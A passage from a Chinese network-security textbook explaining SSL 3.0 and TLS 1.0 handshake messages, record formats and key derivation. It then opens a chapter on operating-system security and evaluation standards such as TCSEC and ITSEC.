在验证过程中，一个容易被忽略的细节就是，客户端不仅应当验证该证书的真实可信，还需要验证这一证书确实应当是该服务器的。例如，某个恶意的公司得到一个公司的证书之后，然后把这一证书作为自己的证书来使用，以进行冒充。在一些情况中，它可能会导致一些问题。解决这个问题，需要依赖客户足够聪明，许多证书中，都有该证书所属的域名，因此，一般来说只需要客户端验证一下即可。

（2）ClientKeyExchange

ClientKeyExchange报文与服务器的略有所不同，如果只进行加密，客户端将用服务器在ServerKeyExchange中给出的公钥来加密本报文中的信息，这样就能够验证服务器的身份了。在这种情况下，服务器需要先通过Certificate报文发送自己的证书。

4.将加密和认证分离

上一部分中，服务器通过发送 Certificate 报文，客户端使用其中的公钥来加密，从而认证服务器。但是这一步骤，在某些情况中，是不大可能实现的。例如，对于DSA算法，只能用来签名，不能用来加密。因此，这时客户端就无法使用上述的步骤验证服务器身份了。

即使对于那些能够用来加密的算法来说，将签名和加密分开也有一定的道理，首先，这样做有时是基于法律因素，一些国家对于加密技术有一定的出口限制，但对数字签名的限制则要相对弱一些，例如美国。因此，在一些实现中，对于签名使用较长的密钥，但是加密密钥则相对短很多。

SSL提供了用于将加密和认证分开的方式，表 3.8总结了这些步骤。这一过程中，最重要的三个报文是Certificate、ServerKeyExchange和ClientKeyExchange报文。


表3.8 加密和认证功能分开的方式
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（1）Certificate

与以前所讨论的大致相同，只是这一证书中的公钥只用来进行身份鉴别。

（2）ServerKeyExchange

这与以前没有认证时所讨论的相同，惟一的不同在于，这个公钥需要利用 Certificate 报文中的公钥进行签名。

（3）ClientKeyExchange

客户使用这一报文来完成协商过程。这一报文中包含有双方所选择的对称加密算法和密钥信息，并利用在ServerKeyExchange中的公钥进行加密。

5.认证客户端的身份

SSL也支持认证客户端的身份。如表 3.9所示。它们与对服务器的认证比较相似。这一过程中比较不同的报文主要是 CertificateRequest 报文、客户端的 Certificate 报文以及CertificateVerify报文。


表3.9 认证客户端的身份
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（1）CertificateRequest

在SSL协议中，由服务器决定是否需要客户端提供证书，如果服务器需要客户端提供证书，则发出CertificateRequest报文即可。CertificateRequest报文也可以在ServerKeyExchange报文之后。SSL中规定，在服务器验证自己之前，不能够要求客户的证书。

CertificateRequest 报文包含有两个域，一个证书类型的列表和一系列识别名，如表 3.10所示。


表3.10 CertificateRequest组成
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（2）Certificate

这一报文格式和以前所讨论的相同，如果客户端有服务器所希望要的证书，则回应这一报文，如果客户端没有证书或者是证书不符合服务器的要求，则回应NoCertificateAlert报文。服务器可以决定是继续或终止这一会话。

注意在SSL中，客户的公钥只用作签名，而不用来进行加密，这与服务器的公钥有所不同。因此，事实上客户端没有和ServerKeyExchange相对应的报文，ClientKeyExchange报文用来传输会话密钥信息，而不是公钥信息。

（3）CertificateVerify

只发送 Certificate 报文本身，还不能完成客户身份认证这一目的。客户端必须证明自己拥有私钥。因此，客户端需要发送CertificateVerify报文。这一报文中含有那些客户和服务器端都有的信息的密码学摘要，这样服务器就可以利用客户的公钥来验证这一签名的正确性。这些信息包括密钥信息和双方以前所交换的SSL报文。

值得注意的是，CertificateVerify并不是紧随着Certificate报文，而是在ClientKeyExchange报文之后才发出。之所以这样，是因为这个报文的内容依赖于 ClientKeyExchange 报文的内容。只有当服务器接收到ClientKeyExchange之后，才能够进行验证。

6.重新开始以前的会话

从本章中我们可以看到，进行SSL会话需要很复杂的协商过程。为了减轻会话协商的开销，SSL允许重新使用以前已经建立的会话的参数。如图3.38和表3.11所示。


图3.38 重新开始以前的会话的步骤




表3.11 重新开始以前的会话
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如图3.38所示，服务器发送ServerHello报文之后，马上发送ChangeCipherSpec和Finished报文，同样，客户端在收到ServerHello之后，马上发送ChangeCipherSpec和Finished报文。二者同时激活上一次会话所使用的参数。

在这一协商过程中，关键在于 ClientHello 报文，报文中含有客户端所希望使用会话的SessionID，如果服务器同意客户的请求，就在ServerHello报文中表示同意，否则二者开始正常的协商。

尽管这一方式节省了很多协商带来的开销，但是不可避免地也降低了系统的安全程度，因此在使用前应当仔细权衡。


3.3.2 报文格式


SSL协议报文来自于这样几个部分，ChangeCipherSpec协议、Alert协议、HandShake协议，以及应用层如HTTP，Record层协议接收这些报文，然后根据一定的格式要求将它们送到传输层发送。本章首先讨论SSL对传输层的要求，然后将具体描述各层的细节，最后介绍SSL所提供的各种选祥和密码学计算。

1.传输层需求

SSL协议本身需要底层协议来完成报文的实际传输，SSL要求传输层准确、有序地传递各个SSL报文，因此，一般来说SSL构建于TCP之上，如图3.39所示。


图3.39 SSL的体系结构



就如所有在TCP层之上的协议一样，SSL需要识别出协议中报文的开始和结束，为此，SSL对每个会话报文都在头部标明了这一报文的长度，这样也方便在一个TCP数据包中传输多个SSL报文。

2.Record层

SSL使用Record层来包装所有的SSL报文，它为Alert、ChangeCipherSpec、HandShake以及应用层协议报文提供一个统一的格式。

Record层在每个上面产生的报文加上5个字节的头，如果报文需要进行完整性验证，还需要在尾部加上报文摘要值，如果需要还要进行报文加密。图 3.40 显示了Record层的报文格式，表3.12是除了加密和报文验证码之外的图中各个域的描述，图中具有多个字节的域的字节顺序为网络顺序，也就是高位字节在前的顺序。


图3.40 Record数据包结构




表3.12 SSL Record层的各个域
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SSL中有4种高层协议，表3.13中列出了对应于这些协议的相应值。


表3.13 Record层协议类型
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3.ChangeCipherSpec协议

ChangeCipherSpec 协议相当简单，它只有一个报文，这一报文就是前面所介绍的ChangeCipherSpec报文，那么，为什么不把这一报文归到其他协议如HandShake协议中呢？这是因为，ChangeCipherSpec协议必须是一个单独的协议，否则SSL就无法正常工作了。我们知道，在Record层封装时，SSL协议总是将加密或报文验证码等服务加到整个报文上，不过ChangeCipherSpec则不然，这一报文的产生意味着一些密码学服务参数的改变或生效，只有部分内容进行加密，这样，它与其他协议都显得不大一致，因此，最好的解决方法就是把它单独做成一个协议。ChangeCipherSpec协议相当简单，参考图3.41，它的内容只有一个字节，值为1。


图3.41 ChangeCipherSpec协议数据包



4.Alert协议

Alert协议用来指示错误或者是警告信息，如图3.39所示，Alert协议也使用Record的格式来封装，图 3.42 画出了最后形成的报文格式，Alert 协议定义了两个域，即严重程度和具体描述。


图3.42 Alert协议数据包



（1）严重程度

这一域表明所产生的错误的严重程度，它或者是警告（值为1），或者是致命错误（值为2），致命错误表示在会话中遇到了严重的问题，双方必须立即终止会话。警告信息则没有那么严重，双方可以选择继续会话。

（2）具体描述

Alert中的第二字节描述了所产生的错误，这一字节的值及其所表示的含义如表3.14所示。


表3.14 具体描述的值及其所表示的含义
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5.HandShake协议

HandShake协议主要用来进行会话中参数的协商过程。如图3.39所示，HandShake协议也使用Record层来封装自己的报文，多个HandShake消息可以封装在一个Record报文中。图3.43描述了它的大致格式。


图3.43 HandShake协议数据包结构



每个HandShake 消息都用一个字节来描述消息的特定类型，表 3.15中列出了SSL所定义的类型。类型后的三个字节指出HandShake消息内容的长度，这一长度以字节为单位且不包含类型和长度域。下面将详细介绍这些报文。


表3.15 HandShake协议报文
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（1）HelloRequest

HelloRequest报文用于服务器向客户端要求重新开始SSL协商过程。这一报文通常很少使用，但是给服务器一个机会来改变现在所使用的参数。例如，如果某个特定连接已经持续了相当长时间，以至于有可能已不再足够安全，这时服务器就可以发送HelloRequest报文让客户端重新进行一次协商，来选择出新的参数。HelloRequest的格式相当简单，如图3.44所示，它的类型为0，长度也是0。


图3.44 HelloRequest数据包结构



（2）ClientHello

ClientHello消息通常用于开始SSL协商会话，图 3.45画出了ClientHello消息的组成，它类型为 1，长度用两个字节来表示，长度后面的两个字节标识了所用的版本号，目前，这里的版本号总是和Record层的版本号相同，但是这使得HandShake协议和Record层协议可以分别发展，协议之后的32字节是随机数，如前所述，32字节中的前4字节是当前时间。

随机数之后的一个字节指出SessionID所占用的字节数，然后就是SessionID。如果客户端希望重新使用以前某次会话中得到的密码学参数，则将 SessionID 设置为那次会话的SessionID，否则为 0。在 SSL 中，规定 SessionID 最长不超过 32 字节。SSL 中没有规定SessionID的产生方法，但是，由于ClientHello是以明文形式传输，因此SessionID中不应当含有任何降低系统安全性的数据。


图3.45 ClientHello数据包格式



之后就是客户所建议的密码学参数集，首先的一个字节指出随后的参数集的长度，以字节为单位。然后就是密码学参数集，每2字节描述一个参数，因此，参数集的长度总是偶数。目前SSL所支持的密码学参数如表3.16所示。


表3.16 SSL3.0所支持的密码学参数集
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续表
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ClientHello的最后一个域用来指定压缩方式，首先是一个压缩方式集的长度，然后是压缩方式集，每个字节用来描述一种压缩方式。由于目前SSL还没有定义压缩方式，因此一般在实现中，长度字节为1，而紧跟着1字节为0，表示不进行压缩。

（3）ServerHello

如图3.46所示，ServerHello和ClientHello的格式相似，区别主要有两点，首先它的类型为 2，其次就是它只指定一种密码学参数和一种压缩方式，这一种必须来自于客户端所提出的集合中。


图3.46 ServerHello消息格式



服务器可以指定 SessionID 也可以不指定。如果指定，说明允许客户端以后重新使用这次会话所产生的密码学参数，如果不指定，则应当设置SessionID长度为0，不允许客户重用此次会话所使用的参数。

（4）Certificate

Certificate报文的格式如图3.47所示，它的类型为11，类型之后示3个字节的内容长度，然后是证书链部分的长度，由此可知，这一长度比内容长度少3个字节。每个证书首先由长度域指出证书部分的长度，随后即是证书。报文中的一个证书是发送方的证书，然后是签发这一证书的CA的证书，再其后是给上一个 CA签发证书的CA的证书，以此类推，直到根CA的证书为止。


图3.47 Certificate消息格式



（5）ServerKeyExchange

服务器用 ServerKeyExchange 消息来和客户端交换有关密钥生成方面的一些信息，它的格式依所使用的密钥交换算法而定。图 3.48、图 3.49 和图 3.50 画出了当交换算法是Diffie-Hellman、RSA及Fortezza时的不同情况。注意在消息中没有明确的标识指出所用的具体算法，因此，客户端必须依赖以前所得到的信息才能知道应当是哪一种算法（密钥交换的算法来自于ServerHello报文，而签名算法可以来自于Certificate报文）。ServerKeyExchange的类型为12。

图3.48显示了在Diffie-Hellman密码交换算法中所使用的格式。Diffie-Hellman所使用的三个常数（p、q、Ys
 ）形成了报文中长度之后的6个域，每个常数用一个长度域和一个值域来标识。


图3.48 ServerKeyExchange（Diffie-Hellman）消息格式



图3.49显示了RSA交换算法中使用的格式。密钥信息中包含了RSA所使用的模和公开指数，每个常数用一个长度域和一个值域来标识。


图3.49 ServerKeyExchange（RSA）消息格式



图3.50显示了Fortezza/DMS算法中使用的格式。密钥信息包含了Fortezza中的rs
 值，由于rs
 总是128个字节长，因此使用报文长度一个域就足够了。


图3.50 ServerKeyExchange（Fortezza）消息格式



除了Fortezza/DMS之外，ServerKeyExchange 也可以包含签名数据，具体的格式因签名算法的不同而异。如果SSL会话中不进行服务器验证，那么就没有签名这一项。否则，如果服务器已经用 Certificate 消息发送了服务器的证书，则格式依赖于证书中所指定的签名算法而定。如果服务器的证书是用于RSA签名的，则对MD5摘要和SHA摘要连接在一起形成的数据进行签名，注意对两个摘要值只形成了一个签名，而不是对两个摘要值分别形成签名。如果证书用于DSA签名，则只对SHA摘要值进行签名，无论是哪种，摘要函数的输入都由以下几个部分组成：ClientHello中的随机数，ServerHello中的随机数，以及密钥交换中的参数值。

（6）CertificateRequest

为了验证客户端身份的真实性，服务器需要向客户端发送CertificateRequest报文来要求得到客户端的证书，同时也标明服务器所接收证书的要求。图3.51画出了这一报文的格式。它的类型值为13，类型和长度之后，是一系列的服务器接收的证书类型，以长度开始，然后每一字节表示一种类型。表3.17列出了目前定义的证书类型值和代表的意义。


图3.51 CertificateRequest消息格式




表3.17 证书类型
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除此之外，报文中还包括服务器所认可的CA的识别名，以2字节的长度开始，然后跟着所认可的识别名列表，每个识别名也有自己的长度域。

（7）ServerHelloDone

这一报文标志着协商过程服务器端的结束，它的格式如图3.52所示，报文类型为14，不含有任何内容。


图3.52 ServerHelloDone消息格式



（8）ClientKeyExchange

客户端用 ClientKeyExchange 消息来告诉服务器用来保证会话安全的密钥信息，它的格式依所使用的密钥交换算法而定。图 3.53、图 3.54 和图 3.55 画出了当交换算法是 RSA、Diffie-Hellman及Fortezza时的不同情况。注意在消息中没有明确的标识指出所用的具体算法，因此，必须依赖以前所得到的信息才能知道应当是哪一种算法所对应的格式。ClientKeyExchange的类型为16。

图3.53显示了在RSA密码交换算法中所使用的格式，在类型和长度之后，只包含加过密的初始主密值，初始主密值用服务器的公钥进行加密，这一公钥来源于ServerKeyExchange或Certificate报文。


图3.53 ClientKeyExchange（RSA）消息格式



初始主密值是得到会话的主密钥的初始值。对于RSA密钥交换算法而言，初始主密值是两个字节的版本号（对于 3.0来说这两个字节是3和0），然后是 46字节安全生成的随机数。

对于Diffie-Hellman密钥交换算法而言，需要区分两种情况。如果Diffie-Hellman密钥交换是临时的，那么格式如图3.54，在报文内容中包含有客户端的Yc
 （图中的DH Y）的长度及其值，如果是固定的，则 Yc
 的值已经在客户端的证书中传输，ClientKeyExchange报文为空。


图3.54 ClientKeyExchange（Diffie-Hellman）消息格式



对于Fortezza/DMS 密钥交换算法，图3.55中还需要一系列参数，这些常数如表 3.18所示。


图3.55 ClientKeyExchange（Fortezza）消息格式




表3.18 Fortezza/DMS ClientKeyExchange的参数
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（9）CertificateVerify


图3.56 CertificateVerify消息格式



客户端通过CertificateVerify报文来证明自己确实拥有所发出证书的私钥。如图3.56所示，在CertificateVerify报文中含有一些信息摘要的客户端签名。信息的格式依赖于证书中所指定的签名算法。如果服务器的证书是用于 RSA签名的，则对MD5摘要和SHA摘要连接在一起形成的数据进行签名，注意对两个摘要值只形成了一个签名，而不是对两个摘要值分别形成签名。如果证书用于DSA签名，则只对SHA摘要值进行签名。

无论对于哪种签名，摘要函数的输入是相同的，客户端通过3个步骤来建立这些信息。首先它们计算出一个特殊值即主密值，其过程如表3.19所示。


表3.19 主密值的计算
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    Master secret=MD5 (premaster secret+SHA (‘A’+premaster secret+ClientHello.random
                                                 +ServerHello.random))
               +
                MD5(premaster secret+SHA (‘BB’+premaster secret+ClientHello.random
                                                 +ServerHello.random))
   +
                MD5(premaster secret+SHA (‘CCC’+premaster secret+ClientHello.random
                                                 +ServerHello.random))


在产生主密值之后，客户端开始构建CertificiateVerify报文，首先客户产生所有先前SSL协商所交换报文全部内容的摘要值，然后是主密钥，然后是48（对于MD5算法）或40（对于SHA算法）字节的0x36，这些经过MD5或SHA后，得到的摘要值，进入到下一轮，在下一轮中，主密钥，然后是48（对于MD5算法）或40（对于SHA算法）字节的0x5c，然后是上一轮所得到的摘要值，一起再经过一次摘要运算，就得到了最后的摘要值。

（10）Finished

最后的报文是Finished报文，类型为20，这一报文表示SSL协商过程已经结束，所协商出的参数已经生效。Finished报文本身将使用所协商出的参数进行加密，图3.57就是这一报文的格式。


图3.57 Finished消息格式



Finished报文中含有两个摘要值，一个使用MD5算法一个使用SHA算法。两个摘要函数的输入都是相同的。首先发送方产生所有先前SSL协商所交换报文全部内容的摘要值，然后是标明发送方身份的一个整数（客户端是 0x434c4e54，服务器是0x53525652），然后是主密钥，然后是 48（对于MD5算法）或 40（对于SHA 算法）字节的0x36，这些经过MD5或SHA后，得到的摘要值，进入到下一轮，在下一轮中，主密钥，然后是48（对于MD5算法）或40（对于SHA算法）字节的0x5c，以及上一轮所得到的摘要值，一起再经过一次摘要运算，就得到了最后的摘要值。

这个过程和CertificateVerify中的过程有两点不同，首先，在这一过程中还有标明发送方身份的一个整数，而对于CertificateVerify，由于只有客户端才发送这一报文，因此没有这一身份标识。其次，这一过程中使用了两种签名算法。

另外一个需要注意的是，无论是CertificateVerify还是Finished报文，在计算所有协商过程中的报文的摘要值时，都不包含ChangeCipherSpec报文，这是因为ChangeCipherSpec报文不属于HandShake协议中。

6.安全报文

Finished是第一个使用SSL协商所得的安全服务的报文，它之后的所有报文，包括之后如果重新协商时可能的协商报文，也都将使用这些安全服务。这些报文中，最重要的就是应用层报文了，应用层的需求是建立SSL会话的主要原因，应用层数据交换是双方所真正需要的。SSL主要提供两种安全服务，即加密和报文完整性验证，这将在以下详述。

（1）报文验证码（MAC）

SSL支持两种报文验证码，它们分别是MD5和SHA，使用哪种依赖于协商而定。MD5和SHA所产生的MAC值长度有所不同，MD5产生的长度为16字节，而SHA所产生的为20字节。它们所产生的MAC码被附加到消息之后，由SSL将消息内容和MAC码一起加密传输。

MAC码的产生与HandShake协议中的比较相似，首先是一个被称为是MAC写密值的特殊值，然后是48（对于MD5算法）或40（对于SHA算法）字节的0x36，然后是64比特的序列号、16比特的数据长度，再加上数据内容，这些经过MD5或SHA后，得到的摘要值，进入到下一轮，在下一轮中，MAC写密钥，然后是48（对于MD5算法）或40（对于SHA算法）字节的0x5c，以及上一轮所得到的摘要值，一起再经过一次摘要运算，就得到了最后的摘要值，如图3.58所示。


图3.58 摘要值的产生过程



这里涉及两个特殊值，即MAC写密值和序列号。MAC写密值将在以后部分详细介绍，序列号是一个对发出去的报文进行计数的一个量，每次ChangeCipherSpec都置为0，Record层每发一个报文都加1。

（2）加密

SSL协议支持流加密算法和块加密算法，以前所介绍的例子中使用的都是流加密算法，在流加密中，被加密的数据只是消息内容和MAC值。

对于块加密算法则有所不同，由于块加密算法一般要求数据长度是块的整数倍，因此，需要进行填充。为了能够便于让接收方识别哪些是正文，填充的最后一个字节指出了填充字节的长度，这样解密后，只需要从末尾开始倒推即可。

（3）产生密码学参数

SSL的加密和报文验证码算法依赖于一系列只有通信双方才知道的密值，生成这些密值是 SSL 协商的三个目的之一（另外两个是验证对方和协商密码学参数）。这些值中最重要的是主密值的生成，这已经在前面介绍过了。

产生主密值之后，将基于主密值产生通信中所需要的其他密值。首先需要决定需要哪些密值，这取决于双方协商的结果，通常是表3.20中的一些值。双方从中选择自己所需要生成的密值，然后根据所需要的长度产生相应的值。


表3.20 共享的密值
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为了产生这些值，双方需要进行类似于主密钥生成的密钥生成步骤：首先将字符“A”和主密钥、服务器的随机值、客户端的随机值相连，计算它们的SHA摘要，然后将主密钥和上一步所产生的摘要值相连，计算它们的MD5摘要，如果所得的16字节摘要值不符合要求，就重新进行上述计算，只不过将字符“A”换成字符“BB”，如果仍然不能满足要求，则将“BB”换成“CCC”重复，以此类推直到产生满足要求的值为止。

大多数情况下，这样产生的密钥值就可以直接进行使用。但是对于那些可出口的密码算法，还需要将进行进一步的处理，以满足出口限制。通常可出口的密码算法使用的密钥长度较短。

7.密码学参数集

3.0版的SSL协议定义了31种不同的密码学参数集，为参数协商提供了丰富的选择。其中使用了14种密钥交换算法，表3.21列出了这些密钥交换算法。对于那些可出口的密码学参数集，表中也指定了出口政策中的长度限制。


表3.21 密码学参数集
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续表
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SSL协议所支持的加密算法如表3.22所示，其中标注“*”的算法满足出口限制。


表3.22 加密算法
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表3.23列出了SSL所支持的摘要算法。


表3.23 摘要算法
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3.3.3 传输层安全协议（TLS）


在SSL协议提出之后，由于它在因特网中的应用越来越重要，IETF负责了SSL的进一步的发展。为了更清晰地和IPSEC相区别，IETF将它改名为传输层安全协议TLS。

TLS没有对SSL进行大规模的改动，相对来说，TLS比SSL 3.0的改动还不如SSL 3.0对SSL 2.0的改动多。表3.24列出了这些改动，本节中将要详细介绍这些改动。


表3.24 TLS和SSL协议的不同
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续表
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1.TLS协议版本

为了保持和SSL的兼容，TLS1.0的版本是3.1。

2.Alert协议类型信息

TLS对SSL的改进之一就是增加了更多的安全警告信息类型。如表 3.25所示，TLS的安全警告信息类型数目几乎是SSL的两倍。表3.25中，TLS所增加的警告信息类型前加点表示，此外，TLS删除了警告类型41（NoCertificate），这是因为这个警告比较难于实现，实现它必须保证Alert和协商协议的严格同步，在TLS中，如果客户端没有合适的证书，就直接返回一个空白的Certificate报文。


表3.25 TLS Alert描述
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续表
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3.报文认证

另外一个TLS的改进点是用来进行报文验证的算法，SSL报文认证中混合了密钥信息和应用层数据，因此显得很杂乱。TLS 则使用了标准的报文认证方式 H-MAC（报文验证摘要码），H-MAC算法是一个已经确立的标准，并已经进行过严格的分析。注意H-MAC并不指定特定的摘要算法，它可以使用任何合适的摘要算法。

TLS报文认证中直接使用了H-MAC产生报文验证码MAC，所用的算法和密码由协商得出。所防护的信息包括序列号、TLS协议报文类型、TLS版本、报文长度和报文内容。

4.密钥生成

在H-MAC协议的基础上，TLS定义了一种产生伪随机数的方法。通过一个种子值和密值，它可以产生无限多的伪随机数。如图3.59和表3.26所示，这种方法不限定特定的摘要算法，任何摘要算法都可以。


表3.26 产生伪随机数的方法
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为了更进一步地优化这一算法，TLS协议定义了伪随机数产生函数PRF，PRF中同时使用了两种摘要算法即 MS5和SHA，这样即使其中一个摘要算法出现了安全问题，另一个算法也能够保证数据的安全。如表3.27所示，函数的输入是一个初始值、一个密值和一个标志（Label），密值被分成两个部分，一部分用来作为MD5的输入，而另外一部分则作为SHA的输入，标志和初始值被组合在一起成为一个值。注意MD5和SHA所产生的摘要长度不同，分别为16字节和20字节，因此对于表中的步骤2和步骤3需要不同的轮数。


图3.59 密钥生成步骤




表3.27 TLS的伪随机数产生函数PRF
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TLS密钥的产生过程和SSL主要原理是相同的，首先利用初始主密钥（premaster key）产生主密钥，然后将主密钥作为密值，字符串“key expansion”作为标志，服务器方的随机数和客户端的随机数合在一起作为种子值，利用PRF产生出密钥。

48 字节的主密钥本身也是通过 PRF 函数所产生的。利用初始主密钥，字符串“master secret”作为标志，服务器方的随机数和客户端的随机数合在一起作为种子值，从而产生了主密钥。它们的产生过程如图3.60所示。

5.CertificateVerify

CertificateVerify报文也与SSL中略有所不同，在SSL中，CertificateVerify所签名的信息包括一个复杂的对协商报文的两层摘要、主密钥以及填充值。但对于TLS，则只包括本次会话中已经交换的协商信息。

6.Finished

TLS也略微简化了Finished报文，在TLS中，Finished报文只包含12字节的值，这一值是由主密钥、标志“client finished”（对于客户端）或者是“server finished”（对于服务器）、以及所有协商报文的MD5摘要和SHA摘要连在一起，经过PRF所产生的，图3.61描述了这一过程。


图3.60 主密钥的产生过程




图3.61 Finished消息的产生过程



7.基本密码学参数集

TLS支持SSL中除了Fortezza/DMS之外的所有密码学参数集，由于IETF有一套成熟的体制来评价新提出的密码学参数集，因此在 TLS 添加新的算法要相对容易得多。表 3.28 列出了TLS所支持的基本密码学参数集以及它们在Hello报文中的值。其中出口限制一栏中如果有“*”则说明可以出口。


表3.28 TLS1.0所支持的基本密码学参数集

[image: ]



续表
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第4章 操作系统安全防护


CHAPTER 4


4.1 操作系统安全概述



4.1.1 操作系统安全概念


一般意义上，如果说一个计算机系统是安全的，那么是指该系统能够通过特定的安全功能控制外部对系统信息的访问。也就是说，只有经过授权的用户或代表该用户运行的进程才能读、写、创建或删除信息。

操作系统内的活动都可以看作是主体对计算机系统内部所有客体的一系列操作。操作系统中任何存有数据的东西都是客体，包括文件、程序、内存、目录、队列、管道、进程间报文、I/O 设备和物理介质等。能访问或使用客体的实体称作主体，一般来说，用户或者代表用户进行操作的进程都是主体。主体对客体的访问策略，是通过可信计算基（TCB）来实现的。可信计算基是系统安全的基础，正是基于该TCB，通过安全策略的实施，控制主体对客体的存取，达到对客体的保护。

安全策略描述的是人们如何存取文件或别的信息。在计算机系统中，对于给定的主体和客体，必须有一套严密的规则来确定一个给定的主体是否被授权获得对指定客体的访问。当安全策略被抽象成安全模型后，人们可以通过形式化的方法证明该模型是安全的。被证明了的模型成为人们设计系统安全部分的坐标。安全模型精确定义了安全状态的概念、访问的基本模型和保证主体对客体访问的特殊规则。

使用安全模型设计出的操作系统，也许会因为实现过程中的各种问题，而产生一些出乎设计者意图之外的性质，这通常被称为操作系统的缺陷。近年来，随着各种系统入侵和攻击技术的不断发展，操作系统缺陷层出不穷。典型的如缓冲区溢出缺陷，目前几乎所有的操作系统实现都不同程度地具有这个缺陷。因此，我们一般所说的操作系统的安全，通常包含两层意思，一个方面即是操作系统在设计时通过权限访问控制、信息加密性保护、完整性鉴定等一些机制实现的安全；另一方面，则是操作系统在使用中，通过一系列的配置，保证操作系统尽量避免由于实现时的缺陷或是应用环境因素产生的不安全因素。只有通过这两方面的同时努力，才能够最大可能地建立安全操作环境。因此，在以下章节中，将从这两个方面来探讨对不同操作系统的安全防护。首先，我们将简要介绍一下操作系统安全评估方面的主要标准，以便对操作系统的安全，在理论上有更多的了解。


4.1.2 计算机操作系统安全评估


计算机系统安全评价标准是一种技术性法规。在信息安全这一特殊领域，如果没有这一标准，与此相关的立法、执法就会有失偏颇，最终会给国家的信息安全带来严重后果。由于信息安全产品和系统的安全评价事关国家的安全利益，因此许多国家都在充分借鉴国际标准的前提下，积极制订本国的计算机安全评价认证标准。

第一个有关信息技术安全评价的标准诞生于20世纪80年代的美国，就是著名的“可信计算机系统评价准则”（TCSEC，又称桔皮书）。该准则对计算机操作系统的安全性规定了不同的等级。从20世纪90年代开始，一些国家和国际组织相继提出了新的安全评价准则。1991年，欧共体发布了“信息技术安全评价准则”（ITSEC）。1993年，加拿大发布了“加拿大可信计算机产品评价准则”（CTCPEC），CTCPEC综合了TCSEC和ITSEC两个准则的优点。同年，美国在对TCSEC进行修改补充并吸收ITSEC优点的基础上，发布了“信息技术安全评价联邦准则”（FC）。1993年6月，上述国家共同起草了一份通用准则（CC），并将CC推广为国际标准。CC 发布的目的是建立一个各国都能接受的通用的安全评价准则，国家与国家之间可以通过签订互认协议来决定相互接受的认可级别，这样能使基础性安全产品在通过CC 准则评价并得到许可进入国际市场时，不需要再作评价。此外，国际标准化组织和国际电工委也已经制订了上百项安全标准，其中包括专门针对银行业务制订的信息安全标准。国际电信联盟和欧洲计算机制造商协会也推出了许多安全标准。

1.美国可信计算机安全评价标准（TCSEC）

TCSEC 标准是计算机系统安全评估的第一个正式标准，具有划时代的意义。该准则于1970年由美国国防科学委员会提出，并于 1985年12月由美国国防部公布。TCSEC最初只是军用标准，后来延至民用领域。TCSEC将计算机系统的安全划分为4个等级、8个级别。

D类安全等级：D类安全等级只包括D1一个级别。D1的安全等级最低。D1系统只为文件和用户提供安全保护。D1系统最普通的形式是本地操作系统，或者是一个完全没有保护的网络。

C类安全等级：该类安全等级能够提供审慎的保护，并为用户的行动和责任提供审计能力。C类安全等级可划分为C1和C2两类。C1系统的可信任运算基础体制（Trusted Computing Base，TCB）通过将用户和数据分开来达到安全的目的。在 C1 系统中，所有的用户以同样的灵敏度来处理数据，即用户认为C1系统中的所有文档都具有相同的机密性。C2系统比C1系统加强了可调的审慎控制。在连接到网络上时，C2 系统的用户分别对各自的行为负责。C2系统通过登录过程、安全事件和资源隔离来增强这种控制。C2系统具有C1系统中所有的安全性特征。

B类安全等级：B类安全等级可分为B1、B2和B3三类。B类系统具有强制性保护功能。强制性保护意味着如果用户没有与安全等级相连，系统就不会让用户存取对象。B1系统满足下列要求：系统对网络控制下的每个对象都进行灵敏度标记；系统使用灵敏度标记作为所有强迫访问控制的基础；系统在把导入的、非标记的对象放入系统前标记它们；灵敏度标记必须准确地表示其所联系的对象的安全级别;当系统管理员创建系统或者增加新的通信通道或I/O设备时，管理员必须指定每个通信通道和I/O设备是单级还是多级，并且管理员只能手工改变指定；单级设备并不保持传输信息的灵敏度级别；所有直接面向用户位置的输出（无论是虚拟的还是物理的）都必须产生标记来指示关于输出对象的灵敏度；系统必须使用用户的口令或证明来决定用户的安全访问级别；系统必须通过审计来记录未授权访问的企图。

B2系统必须满足B1系统的所有要求。另外，B2系统的管理员必须使用一个明确的、文档化的安全策略模式作为系统的可信任运算基础体制。B2系统必须满足下列要求：系统必须立即通知系统中的每一个用户所有与之相关的网络连接的改变；只有用户能够在可信任通信路径中进行初始化通信；可信任运算基础体制能够支持独立的操作者和管理员。

B3系统必须符合B2系统的所有安全需求。B3系统具有很强的监视委托管理访问能力和抗干扰能力。B3系统必须设有安全管理员。B3系统应满足以下要求：除了控制对个别对象的访问外，B3必须产生一个可读的安全列表；每个被命名的对象提供对该对象没有访问权的用户列表说明；B3系统在进行任何操作前，要求用户进行身份验证；B3系统验证每个用户，同时还会发送一个取消访问的审计跟踪消息；设计者必须正确区分可信任的通信路径和其他路径；可信任的通信基础体制为每一个被命名的对象建立安全审计跟踪；可信任的运算基础体制支持独立的安全管理。

A类安全等级：A类的安全级别最高。目前，A类安全等级只包含 A1一个安全类别。A1类与 B3 类相似，对系统的结构和策略不作特别要求。A1系统的显著特征是，系统的设计者必须按照一个正式的设计规范来分析系统。对系统分析后，设计者必须运用核对技术来确保系统符合设计规范。A1系统必须满足下列要求：系统管理员必须从开发者那里接收到一个安全策略的正式模型；所有的安装操作都必须由系统管理员进行；系统管理员进行的每一步安装操作都必须有正式文档。

2.欧洲的安全评价标准（ITSCE）

ITSCE是欧洲多国安全评价方法的综合产物，应用领域为军队、政府和商业。该标准将安全概念分为功能与评估两部分。功能准则从 F1～F10 共分 10 级。1～5 级对应于 TCSEC的D到A。F6至F10级分别对应数据和程序的完整性、系统的可用性、数据通信的完整性、数据通信的保密性以及机密性和完整性的网络安全。评估准则分为6级，分别是测试、配置控制和可控的分配、能访问详细设计和源码、详细的脆弱性分析、设计与源码明显对应以及设计与源码在形式上一致。

3.加拿大的评价标准（CTCPEC）

CTCPEC专门针对政府需求而设计。与ITSEC类似，该标准将安全分为功能性需求和保证性需要两部分。功能性需求共划分为四大类：机密性、完整性、可用性和可控性。每种安全需求又可以分成很多小类，来表示安全性上的差别，分级条数为0～5级。

4.美国联邦准则（FC）

FC是对TCSEC的升级，并引入了“保护轮廓”（PP）的概念。每个轮廓都包括功能、开发保证和评价三部分。FC充分吸取了ITSEC和CTCPEC的优点，在美国的政府、民间和商业领域得到广泛应用。

5.国际通用准则（CC）

